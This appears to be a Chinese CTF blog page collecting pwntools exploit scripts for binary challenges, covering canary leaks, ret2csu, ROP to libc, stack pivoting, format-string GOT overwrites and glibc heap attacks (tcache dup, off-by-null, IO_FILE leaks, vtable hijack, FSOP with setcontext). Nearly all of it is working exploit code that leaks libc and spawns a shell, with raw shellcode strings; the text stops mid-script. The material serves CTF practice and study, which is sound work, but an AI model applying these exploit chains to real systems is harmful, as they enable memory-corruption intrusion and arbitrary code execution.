PWN入门到入狱-Code leak_canary+libc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import *from LibcSearcher import *p=process('./babystack' ) elf=ELF('./babystack' ) context.log_level='debug' p.sendlineafter(">>" ,'1' ) payload='a' *(0x80 +8 ) p.sendline(payload) p.sendlineafter('>>' ,'2' ) p.recvuntil('a\n' ) canary=u64(p.recv(7 ).rjust(8 ,b'\x00' )) log.info(hex(canary)) pop_rdi=0x400a93 puts_got=elf.got['puts' ] puts_plt=elf.plt['puts' ] main_addr=0x400908 payload=b'a' *(0x80 +8 )+p64(canary)+p64(0 ) payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr) p.sendlineafter(">>" ,'1' ) p.sendline(payload) p.sendlineafter(">>" ,'3' ) p.recv() puts_addr=u64(p.recv(6 ).ljust(8 ,b'\x00' )) libc=LibcSearcher('puts' ,puts_addr) libc_base=puts_addr-libc.dump('puts' ) system=libc_base+libc.dump('system' ) binsh=libc_base+libc.dump('str_bin_sh' ) payload=b'a' *(0x80 +8 )+p64(canary)+p64(0 ) payload+=p64(pop_rdi)+p64(binsh)+p64(system) p.sendlineafter('>>' ,'1' ) p.sendline(payload) p.sendlineafter('>>' ,'3' ) p.interactive()
ret2csu 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from pwn import *from LibcSearcher import LibcSearcherlevel5 = ELF('./level5' ) sh = process('./level5' ) write_got = level5.got['write' ] read_got = level5.got['read' ] main_addr = level5.symbols['main' ] bss_base = level5.bss() csu_front_addr = 0x0000000000400600 csu_end_addr = 0x000000000040061A fakeebp = 'b' * 8 def csu (rbx, rbp, r12, r13, r14, r15, last) : payload = 'a' * 0x80 + fakeebp payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64( r13) + p64(r14) + p64(r15) payload += p64(csu_front_addr) payload += 'a' * 0x38 payload += p64(last) sh.send(payload) sleep(1 ) sh.recvuntil('Hello, World\n' ) csu(0 , 1 , write_got, 8 , write_got, 1 , main_addr) write_addr = u64(sh.recv(8 )) libc = LibcSearcher('write' , write_addr) libc_base = write_addr - libc.dump('write' ) execve_addr = libc_base + libc.dump('execve' ) log.success('execve_addr ' + hex(execve_addr)) sh.recvuntil('Hello, World\n' ) csu(0 , 1 , read_got, 16 , bss_base, 0 , main_addr) sh.send(p64(execve_addr) + '/bin/sh\x00' ) sh.recvuntil('Hello, World\n' ) csu(0 , 1 , bss_base, 0 , 0 , bss_base + 8 , main_addr) sh.interactive()
ROP+libc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 from pwn import *from LibcSearcher import *p = remote("node4.buuoj.cn" ,25863 ) elf = ELF('./ciscn_2019_c_1' ) padding=0x50 +8 puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] main_addr = elf.symbols['main' ] pop_rdi_ret=0x0000000000400c83 payload=b'\0' +b'a' *(padding-1 ) payload+=p64(pop_rdi_ret) payload+=p64(puts_got) payload+=p64(puts_plt) payload+=p64(main_addr) p.sendlineafter('choice!\n' ,'1' ) p.sendlineafter('encrypted\n' ,payload) p.recvline() p.recvline() puts_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) log.info("puts_addr: " +str(hex(puts_addr))) libc=LibcSearcher('puts' ,puts_addr) offset=puts_addr-libc.dump('puts' ) binsh=offset+libc.dump('str_bin_sh' ) system=offset+libc.dump('system' ) p.sendlineafter('choice!\n' ,'1' ) payload=b'\0' +b'a' *(padding-1 ) ret=0x4006b9 payload+=p64(ret) payload+=p64(pop_rdi_ret) payload+=p64(binsh) payload+=p64(system) p.sendlineafter('encrypted\n' ,payload) p.interactive()
stack pvoit 栈迁移 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *call_system=0x08048559 leave=0x08048562 context.log_level='debug' p=process('./ciscn_2019_es_2' ) payload=b'a' *0x24 +b'b' *4 p.recvuntil('name?\n' ) p.send(payload) p.recvuntil('bbbb' ) addr=u32(p.recv(4 )) log.info('ebp_addr: ' +hex(addr)) payload1=b'a' *4 +p32(call_system)+p32(addr-0x38 +0xc )+b'/bin/sh' payload1=payload1.ljust(0x28 ,b'\x00' )+p32(addr-0x38 )+p32(leave) p.send(payload1) p.interactive()
格式化字符串修改内存 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *p = process('./pwn' ) elf = ELF('./pwn' ) atoi_got = elf.got['atoi' ] system_plt = elf.plt['system' ] payload=fmtstr_payload(10 ,{atoi_got:system_plt}) p.sendline(payload) p.sendline('/bin/sh' ) p.interactive()
栈迁移+gadget 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *from LibcSearcher import *p = remote("node4.buuoj.cn" ,26761 ) elf=ELF('./gyctf_2020_borrowstack' ) padding1=0x60 pop_rdi_ret=0x0000000000400703 leave_ret=0x0000000000400699 bank=0x601080 +0xa0 puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] main=elf.symbols['main' ] payload=b'a' *padding1 payload+=p64(bank)+p64(leave_ret) p.sendafter('Welcome to Stack bank,Tell me what you want\n' , payload) p2 = p64(0 ) * 0x15 p2 += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main) p.sendafter('Done!You can check and use your borrow stack now!\n' , p2) puts_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) libc=LibcSearcher('puts' ,puts_addr) offest=puts_addr-libc.dump('puts' ) read=offest+libc.dump('read' ) one_gadget=read-0x6109 p3 = b'a' * (0x60 + 8 ) + p64(one_gadget) p.sendafter('want\n' , p3) p.sendafter('now!\n' , '\n' ) p.interactive()
Heap-Exp-Code tcache + libc-2.27 + off by null + UAF + one-gadget 程序有个off by null漏洞点,然后libc是2.27的,所以存在tcache机制,当free 7个块tcache满了以后,第8,9,10个块就会放入unsorted bin中,利用off by null来free的时候向前合并,然后uaf泄漏libc地址,再利用tcache dup(类似double free)来对free_hook改写成one_gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 from pwn import *context.log_level = 'debug' def malloc (size,content) : p.recvuntil('> ' ) p.sendline('1' ) p.recvuntil('> ' ) p.sendline(str(size)) p.recvuntil('> ' ) p.sendline(content) def free (index) : p.recvuntil('> ' ) p.sendline('2' ) p.recvuntil('> ' ) p.sendline(str(index)) def puts (index) : p.recvuntil('> ' ) p.sendline('3' ) p.recvuntil('> ' ) p.sendline(str(index)) p = process('./easy_heap' ) for i in range(10 ): malloc(0x20 ,'a' ) for i in range(3 ,10 ): free(i) for i in range(3 ): free(i) for i in range(10 ): malloc(0x20 ,'a' ) for i in range(6 ): free(i) free(8 ) free(7 ) malloc(0xf8 ,'b' ) free(6 ) free(9 ) for i in range(8 ): malloc(0x20 ,'b' ) puts(0 ) libc_base = u64(p.recv(6 ).ljust(8 ,'\x00' )) - 96 - 0x3ebc40 log.success('libc base addr : 0x%x' %libc_base) free_hook = libc_base + 0x3ed8e8 one_gadget = libc_base + 0x4f322 log.success('free_hook addr : 0x%x' %free_hook) log.success('one_gadget addr : 0x%x' %one_gadget) malloc(0x20 ,'d' ) free(1 ) free(0 ) free(9 ) malloc(0x20 ,p64(free_hook)) malloc(0x20 ,'e' ) malloc(0x20 ,p64(one_gadget)) free(5 ) p.interactive()
tcache + libc-2.27 + off by null + UAF + one-gadget + 任意大小的堆块 漏洞点也是off by null,libc也是2.27的,跟easy_heap差不多,但是这里可以分配任意大小的堆块,tcache的范围是 [0x20, 0x400),超过这个大小的就会放入unsorted bin,利用off by null来free chunk的时候向前合并,然后uaf泄漏libc地址,再利用tcache dup(类似double free)来对free_hook改写成one_gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from pwn import *context.log_level = 'debug' p = process('./children_tcache' ) def new (size,data) : p.recvuntil('choice: ' ) p.sendline('1' ) p.recvuntil('Size:' ) p.sendline(str(size)) p.recvuntil('Data:' ) p.sendline(data) def show (index) : p.recvuntil('choice: ' ) p.sendline('2' ) p.recvuntil('Index:' ) p.sendline(str(index)) def delete (index) : p.recvuntil('choice: ' ) p.sendline('3' ) p.recvuntil('Index:' ) p.sendline(str(index)) new(0x500 ,'a' ) new(0x28 ,'a' ) new(0x4f0 ,'a' ) new(0x20 ,'a' ) delete(0 ) delete(1 ) new(0x28 ,'a' ) for i in range(6 ): delete(0 ) new(0x20 +8 -i,'a' *(0x20 +8 -i)) delete(0 ) new(0x20 +2 ,'a' *0x20 + '\x40\x05' ) delete(2 ) new(0x500 ,'a' ) show(0 ) libc_base = u64(p.recv(6 ).ljust(8 ,'\x00' )) - 96 - 0x3ebc40 log.success('libc_base addr : 0x%x' %libc_base) free_hook = libc_base + 0x3ed8e8 one_gadget = libc_base + 0x4f322 log.success('free_hook addr : 0x%x' %free_hook) log.success('one_gadget addr : 0x%x' %one_gadget) new(0x28 ,'a' ) delete(0 ) delete(2 ) new(0x28 ,p64(free_hook)) new(0x28 ,'a' ) new(0x28 ,p64(one_gadget)) delete(1 ) p.interactive()
tcache + libc-2.27 + off by null + 没有打印函数 + IO_FILE结构体泄露地址
off by null漏洞,但是没有了打印函数,所以要想办法泄漏libc,然后这里利用IO_FILE结构体去泄漏地址
然后修改tcache的fd指针指向IO_2_1_stdout 结构体修改_IO_write_base地址就能泄漏地址根据偏移来获得libc基址,然后后面还是一样用double free来修改free_hook为one_gadget来getshell,这里要注意修改结构体的时候flags要过校验,而且fd指针的地址跟IO_2_1_stdout 结构体地址需要爆破1位
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #_IO_FILE flags #define _IO_MAGIC 0xFBAD0000 #define _IO_MAGIC_MASK 0xFFFF0000 #define _IO_USER_BUF 0x0001 #define _IO_UNBUFFERED 0x0002 #define _IO_NO_READS 0x0004 #define _IO_NO_WRITES 0x0008 #define _IO_EOF_SEEN 0x0010 #define _IO_ERR_SEEN 0x0020 #define _IO_DELETE_DONT_CLOSE 0x0040 #define _IO_LINKED 0x0080 #define _IO_IN_BACKUP 0x0100 #define _IO_LINE_BUF 0x0200 #define _IO_TIED_PUT_GET 0x0400 #define _IO_CURRENTLY_PUTTING 0x0800 #define _IO_IS_APPENDING 0x1000 #define _IO_IS_FILEBUF 0x2000 #define _IO_USER_LOCK 0x8000 _flags=_IO_MAGIC+_IO_CURRENTLY_PUTTING+_IO_IS_APPENDING+(_IO_LINKED) _flags=0xfbad1800 or 0xfbad1880 或者再加一些其他不影响leak的_flags
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 from pwn import *context.log_level = 'debug' def new (size,data) : p.recvuntil('choice: ' ) p.sendline('1' ) p.recvuntil('Size:' ) p.sendline(str(size)) p.recvuntil('Data:' ) p.send(data) def delete (index) : p.recvuntil('choice: ' ) p.sendline('2' ) p.recvuntil('Index:' ) p.sendline(str(index)) while True : try : p = process('./baby_tcache' ) new(0x500 ,'a' ) new(0x78 ,'a' ) new(0x4f0 ,'a' ) new(0x20 ,'a' ) delete(0 ) delete(1 ) new(0x78 ,'a' ) for i in range(6 ): delete(0 ) new(0x70 +8 -i,'a' *(0x70 +8 -i)) delete(0 ) new(0x72 ,'a' *0x70 + '\x90\x05' ) delete(2 ) delete(0 ) new(0x500 ,'a' ) new(0x88 ,'\x60\xc7' ) new(0x78 ,'a' ) fake__IO_2_1_stdout_ = p64(0xfbad1800 ) + p64(0 )*3 + "\x00" new(0x78 ,fake__IO_2_1_stdout_) libc_base = u64(p.recv(0x30 )[8 :16 ]) - 0x3ed8b0 log.success('libc_base addr : 0x%x' %libc_base) free_hook = libc_base + 0x3ed8e8 one_gadget = libc_base + 0x4f322 log.success('free_hook addr : 0x%x' %free_hook) log.success('one_gadget addr : 0x%x' %one_gadget) delete(1 ) delete(2 ) new(0x88 ,p64(free_hook)) new(0x88 ,'a' ) new(0x88 ,p64(one_gadget)) delete(0 ) p.interactive() except Exception as e: p.close()
劫持vtable + libc-2.23 + off by null + chunk_size<= 0x120 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 from pwn import *context.log_level = 'DEBUG' context.binary = './domo' elf = ELF('./domo' ) p = process('./domo' ) libc = context.binary.libc def cmd_add (size,content) : p.sendlineafter('> ' ,'1' ) p.sendlineafter('size:' ,str(size)) p.sendlineafter('content:' ,content) def cmd_del (index) : p.sendlineafter('> ' ,'2' ) p.sendlineafter('index:' ,str(index)) def cmd_show (index) : p.sendlineafter('> ' ,'3' ) p.sendlineafter('index:\n' ,str(index)) return p.recv(6 ) def cmd_edit (addr,num) : p.sendlineafter('> ' ,'4' ) p.sendlineafter('addr:' ,str(addr)) p.sendlineafter('num:' ,num) cmd_add(0x80 ,'' ) cmd_add(0x10 ,'' ) cmd_del(0 ) cmd_add(0x80 ,'' ) realloc_hook = u64(cmd_show(0 ).ljust(8 ,"\x00" )) - 0x2 libc_base = realloc_hook - libc.sym["__realloc_hook" ] print(hex(libc_base)) cmd_add(0x10 ,'' ) cmd_add(0x10 ,'' ) cmd_del(2 ) cmd_del(3 ) cmd_add(0x10 ,'' ) cmd_add(0x10 ,'' ) heap_addr = u64(cmd_show(2 ).ljust(8 ,"\x00" )) - 0xa + 0x100 print(hex(heap_addr)) cmd_add(0x40 ,flat(0 ,0xb1 ,heap_addr+0x18 ,heap_addr+0x20 ,heap_addr+0x10 )) cmd_add(0x60 ,'' ) cmd_add(0xf0 ,'' ) cmd_add(0x10 ,'' ) cmd_del(5 ) cmd_add(0x68 ,flat("\x00" *0x60 ,0xb0 )) cmd_del(6 ) cmd_del(5 ) attack_addr = libc_base+libc.sym["_IO_2_1_stdin_" ] + 160 - 3 one_gadgets = [0x45226 ,0x4527a ,0xf03a4 ,0xf1247 ] one_gadget = libc_base + one_gadgets[2 ] print(hex(attack_addr)) cmd_add(0x80 ,flat("\x00" *0x30 ,0 ,0x71 ,attack_addr)) cmd_del(1 ) cmd_del(2 ) cmd_del(3 ) cmd_add(0xa0 ,p64(0 )+p64(0 )+p64(one_gadget)*12 ) cmd_add(0x60 ,'' ) gdb.attach(p,'b *' +str(one_gadget)) cmd_add(0x60 ,"\x00" *3 +flat(0 ,0 ,0xffffffff ,0 ,0 ,heap_addr+0xb0 ,0 ,0 ,0 ,0 ,0 )) p.interactive()
stdout leak + realloc_hook 调栈 + add/delete 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import *context.log_level = 'debug' context.update(arch='amd64' ,os='linux' ,timeout=0.5 ) p = process("./pwn1" ) context.binary = "./pwn1" libc = context.binary.libc def add (name_size,name=b'a' ,message=b'b' ) : p.sendlineafter('choice : ' ,'1' ) p.sendlineafter('your name: \n' ,str(name_size)) p.sendafter('Your name:\n' ,name) p.sendlineafter('Your message:\n' ,message) def delete (idx) : p.sendlineafter('choice : ' ,'2' ) p.sendlineafter('index:' ,str(idx)) def pr (a,addr) : log.success(a+'===>' +hex(addr)) def debug (one) : gdb.attach(p,'b *' +str(one)) pause() def pwn () : add(0x60 ) add(0x90 ) add(0x60 ) delete(1 ) add(0x60 ,b'\xdd\x55' ) delete(0 ) delete(2 ) delete(0 ) add(0x60 ,b'\x00' ) add(0x60 ) add(0x60 ) add(0x60 ) add(0x60 ,b'a' *0x33 +p64(0xfbad1800 )+p64(0 )*3 +b'\x00' ) libcbase=u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' ))-0x39c600 libc_realloc = libcbase + libc.sym['__libc_realloc' ] malloc_hook = libcbase + libc.sym['__malloc_hook' ] one = libcbase + [0x3f3d6 ,0x3f42a ,0xd5bf7 ][2 ] pr('libcbase' ,libcbase) pr('malloc_hook' ,malloc_hook) pr('one' ,one) delete(0 ) delete(2 ) delete(0 ) add(0x60 ,p64(malloc_hook-0x23 )) add(0x60 ) add(0x60 ) add(0x60 ,b'a' *11 +p64(one)+p64(libc_realloc+14 )) p.sendlineafter('choice : ' ,'1' ) p.interactive() pwn()
unsorted bin attack + libc-2.27 + FSOP + set_context 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 from pwn import *from time import sleepsh = process('./chall' ) context.binary = "./chall" context.log_level = 'debug' libc = ELF('./libc.so.6' ) def pack_file (_flags = 0 , _IO_read_ptr = 0 , _IO_read_end = 0 , _IO_read_base = 0 , _IO_write_base = 0 , _IO_write_ptr = 0 , _IO_write_end = 0 , _IO_buf_base = 0 , _IO_buf_end = 0 , _IO_save_base = 0 , _IO_backup_base = 0 , _IO_save_end = 0 , _IO_marker = 0 , _IO_chain = 0 , _fileno = 0 , _lock = 0 , _wide_data = 0 , _mode = 0 ) : file_struct = p32(_flags) + \ p32(0 ) + \ p64(_IO_read_ptr) + \ p64(_IO_read_end) + \ p64(_IO_read_base) + \ p64(_IO_write_base) + \ p64(_IO_write_ptr) + \ p64(_IO_write_end) + \ p64(_IO_buf_base) + \ p64(_IO_buf_end) + \ p64(_IO_save_base) + \ p64(_IO_backup_base) + \ p64(_IO_save_end) + \ p64(_IO_marker) + \ p64(_IO_chain) + \ p32(_fileno) file_struct = file_struct.ljust(0x88 , "\x00" ) file_struct += p64(_lock) file_struct = file_struct.ljust(0xa0 , "\x00" ) file_struct += p64(_wide_data) file_struct = file_struct.ljust(0xc0 , '\x00' ) file_struct += p64(_mode) file_struct = file_struct.ljust(0xd8 , "\x00" ) return file_struct def debug () : gdb.attach(sh,"b *$rebase(0xd20)" ) pause() def add (size,data) : sh.sendlineafter('> ' ,'1' ) sh.sendlineafter('size:' ,str(size)) sh.sendafter('content:' ,data) def edit (idx,con) : sh.sendlineafter('> ' ,'3' ) sh.sendlineafter('edit?' ,str(idx)) sh.sendafter('content:' ,con) def show (idx) : sh.sendlineafter('> ' ,'4' ) sh.sendlineafter('show?' ,str(idx)) def delete (idx) : sh.sendlineafter('> ' ,'2' ) sh.sendlineafter("?" ,str(idx)) add(0x520 ,'aaaaaaaa' *8 ) show(0 ) sh.recvuntil("aaaaaaaa" *8 ) heap_addr = u64(sh.recvuntil("\x55" )[-6 :].ljust(8 ,b'\x00' )) - 496 + 0x10 print(hex(heap_addr)) add(0x420 ,'a' ) add(0x1400 ,'a' ) add(0x500 ,'a' ) delete(0 ) show(0 ) libc_base = u64(sh.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) - 3951392 - 88 print(hex(libc_base)) rtl_global = libc_base + 0x83c040 set_context = libc_base + libc.sym['setcontext' ] + 53 ret = libc_base + libc.sym['setcontext' ] + 127 pop_rdi = libc_base + 0x0000000000021112 pop_rsi = libc_base + 0x00000000000202f8 pop_rdx = libc_base + 0x0000000000001b92 binsh_addr = libc_base + 0x18CE57 system_addr = libc_base + libc.sym['system' ] puts_addr = libc_base + libc.sym['printf' ] global_max_fast = libc_base + 3958776 IO_str_jumps = libc_base + 0x3c37a0 IO_list_all = libc_base + libc.symbols['_IO_list_all' ] open_addr = libc_base + libc.sym['open' ] read_addr = libc_base + libc.sym['read' ] write_addr = libc_base + libc.sym['write' ] flag_addr = heap_addr+0x300 edit(0 ,p64(libc_base+88 +3951392 ) +p64(global_max_fast-0x10 )) frame = SigreturnFrame() frame.rsp = heap_addr+0x200 frame.rip = ret frame.rdi = flag_addr frame.rsi = 0 frame.rdx = 30 payload = bytes(frame) payload = payload.ljust(0x200 ,b'\x00' ) payload += p64(open_addr) + p64(pop_rdi) + p64(0x14 ) + p64(pop_rsi) + p64(flag_addr) + p64(read_addr) payload += p64(pop_rdi) + p64(1 ) + p64(write_addr) payload = payload.ljust(0x300 ,b'\x00' ) + b'./flag\x00' add(0x520 ,payload) delete(2 ) fake_file = pack_file(_IO_read_base=IO_list_all-0x10 , _IO_write_base=0 , _IO_write_ptr=1 , _IO_buf_base=heap_addr, _mode=0 ,) fake_file += p64(IO_str_jumps-8 )+p64(0 )+p64(set_context) edit(2 ,fake_file[0x10 :]) delete(2 ) sh.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 from pwn import *from time import sleepsh = process('./chall' ) context.binary = "./chall" context.log_level = 'debug' libc = ELF('./libc.so.6' ) def pack_file (_flags = 0 , _IO_read_ptr = 0 , _IO_read_end = 0 , _IO_read_base = 0 , _IO_write_base = 0 , _IO_write_ptr = 0 , _IO_write_end = 0 , _IO_buf_base = 0 , _IO_buf_end = 0 , _IO_save_base = 0 , _IO_backup_base = 0 , _IO_save_end = 0 , _IO_marker = 0 , _IO_chain = 0 , _fileno = 0 , _lock = 0 , _wide_data = 0 , _mode = 0 ) : file_struct = p32(_flags) + \ p32(0 ) + \ p64(_IO_read_ptr) + \ p64(_IO_read_end) + \ p64(_IO_read_base) + \ p64(_IO_write_base) + \ p64(_IO_write_ptr) + \ p64(_IO_write_end) + \ p64(_IO_buf_base) + \ p64(_IO_buf_end) + \ p64(_IO_save_base) + \ p64(_IO_backup_base) + \ p64(_IO_save_end) + \ p64(_IO_marker) + \ p64(_IO_chain) + \ p32(_fileno) file_struct = file_struct.ljust(0x88 , "\x00" ) file_struct += p64(_lock) file_struct = file_struct.ljust(0xa0 , "\x00" ) file_struct += p64(_wide_data) file_struct = file_struct.ljust(0xc0 , '\x00' ) file_struct += p64(_mode) file_struct = file_struct.ljust(0xd8 , "\x00" ) return file_struct def debug () : gdb.attach(sh,"b *$rebase(0xd20)" ) pause() def add (size,data) : sh.sendlineafter('> ' ,'1' ) sh.sendlineafter('size:' ,str(size)) sh.sendafter('content:' ,data) def edit (idx,con) : sh.sendlineafter('> ' ,'3' ) sh.sendlineafter('edit?' ,str(idx)) sh.sendafter('content:' ,con) def show (idx) : sh.sendlineafter('> ' ,'4' ) sh.sendlineafter('show?' ,str(idx)) def delete (idx) : sh.sendlineafter('> ' ,'2' ) sh.sendlineafter("?" ,str(idx)) add(0x520 ,'aaaaaaaa' *8 ) show(0 ) sh.recvuntil("aaaaaaaa" *8 ) heap_addr = u64(sh.recvuntil("\x55" )[-6 :].ljust(8 ,b'\x00' )) - 496 + 0x10 print(hex(heap_addr)) add(0x420 ,'a' ) add(0x3910 ,'a' ) add(0x500 ,'a' ) delete(0 ) show(0 ) libc_base = u64(sh.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) - 3951392 - 88 print(hex(libc_base)) rtl_global = libc_base + 0x83c040 set_context = libc_base + libc.sym['setcontext' ] + 53 ret = libc_base + libc.sym['setcontext' ] + 127 pop_rdi = libc_base + 0x0000000000021112 pop_rsi = libc_base + 0x00000000000202f8 pop_rdx = libc_base + 0x0000000000001b92 binsh_addr = libc_base + 0x18CE57 system_addr = libc_base + libc.sym['system' ] puts_addr = libc_base + libc.sym['printf' ] global_max_fast = libc_base + 3958776 IO_str_jumps = libc_base + 0x3c37a0 IO_list_all = libc_base + libc.symbols['_IO_list_all' ] open_addr = libc_base + libc.sym['open' ] read_addr = libc_base + libc.sym['read' ] write_addr = libc_base + libc.sym['write' ] flag_addr = heap_addr+0x300 edit(0 ,p64(libc_base+88 +3951392 ) +p64(global_max_fast-0x10 )) frame = SigreturnFrame() frame.rsp = heap_addr+0x200 frame.rip = ret frame.rdi = flag_addr frame.rsi = 0 frame.rdx = 30 payload = bytes(frame) payload = payload.ljust(0x200 ,b'\x00' ) payload += p64(open_addr) + p64(pop_rdi) + p64(0x3 ) + p64(pop_rsi) + p64(flag_addr) + p64(read_addr) payload += p64(pop_rdi) + p64(1 ) + p64(write_addr) payload = payload.ljust(0x300 ,b'\x00' ) + b'./flag\x00' add(0x520 ,payload) delete(2 ) edit(2 ,p64(set_context)) add(0x3910 ,'a' ) print(hex(set_context)) debug() delete(4 ) sh.interactive()
libc-2.31 + UAF + chunk_size<=0x80 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 from pwn import *context.log_level = 'debug' prog = './ezuaf' elf = ELF(prog) p = process(prog) libc = ELF("libc-2.31.so" ) def debug (addr,PIE=True) : debug_str = "" if PIE: text_base = int(os.popen("pmap {}| awk '{{print }}'" .format(p.pid)).readlines()[1 ], 16 ) for i in addr: debug_str+='b *{}\n' .format(hex(text_base+i)) gdb.attach(p,debug_str) else : for i in addr: debug_str+='b *{}\n' .format(hex(i)) gdb.attach(p,debug_str) def dbg () : gdb.attach(p) pause() s = lambda data :p.send((data)) sa = lambda delim,data :p.sendafter(str(delim), (data)) sl = lambda data :p.sendline((data)) sla = lambda delim,data :p.sendlineafter(str(delim), (data)) r = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) it = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 , '\0' )) uu64 = lambda data :u64(data.ljust(8 , '\0' )) bp = lambda bkp :pdbg.bp(bkp) li = lambda str1,data1 :log.success(str1+'========>' +hex(data1)) def dbgc (addr) : gdb.attach(p,"b*" + hex(addr) +"\n c" ) def lg (s,addr) : print('\033[1;31;40m%20s-->0x%x\033[0m' %(s,addr)) sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05" def choice (idx) : sla(": " ,str(idx)) def add (sz,con) : choice(1 ) sla("Please tell me its size: \n" ,str(sz)) sa("Content: " ,con) def delete (idx) : choice(3 ) sla("Please tell me the index: \n" ,str(idx)) def show (idx) : choice(4 ) sla("Please tell me the index: \n" ,str(idx)) def edit (idx,con) : choice(2 ) sla("Please tell me the index: \n" ,str(idx)) sla("Please tell me its content: \n" ,con) def exp (p) : add(0x80 ,'a' ) add(0x20 ,'b' ) add(0x80 ,'c' ) add(0x80 ,'d' ) add(0x20 ,'f' ) delete(2 ) delete(0 ) show(0 ) heap_base=uu64(r(8 ))-0x360 lg("heap_base" ,heap_base) edit(0 ,p64(heap_base+0x10 )) add(0x80 ,p64(heap_base+0x10 )) add(0x80 ,'\x00' *12 +'\xff' *4 ) delete(3 ) show(3 ) main_arena=uu64(r(8 ))-96 malloc_hook=main_arena-0x10 lg("malloc_hook" ,malloc_hook) libc_base=malloc_hook-libc.sym['__malloc_hook' ] lg("libc_base" ,libc_base) system=libc_base+libc.sym['system' ] free=libc_base+libc.sym['__free_hook' ] lg("system" ,system) lg("free" ,free) add(0x50 ,'a' ) add(0x50 ,'/bin/sh\x00' ) add(0x50 ,'c' ) delete(8 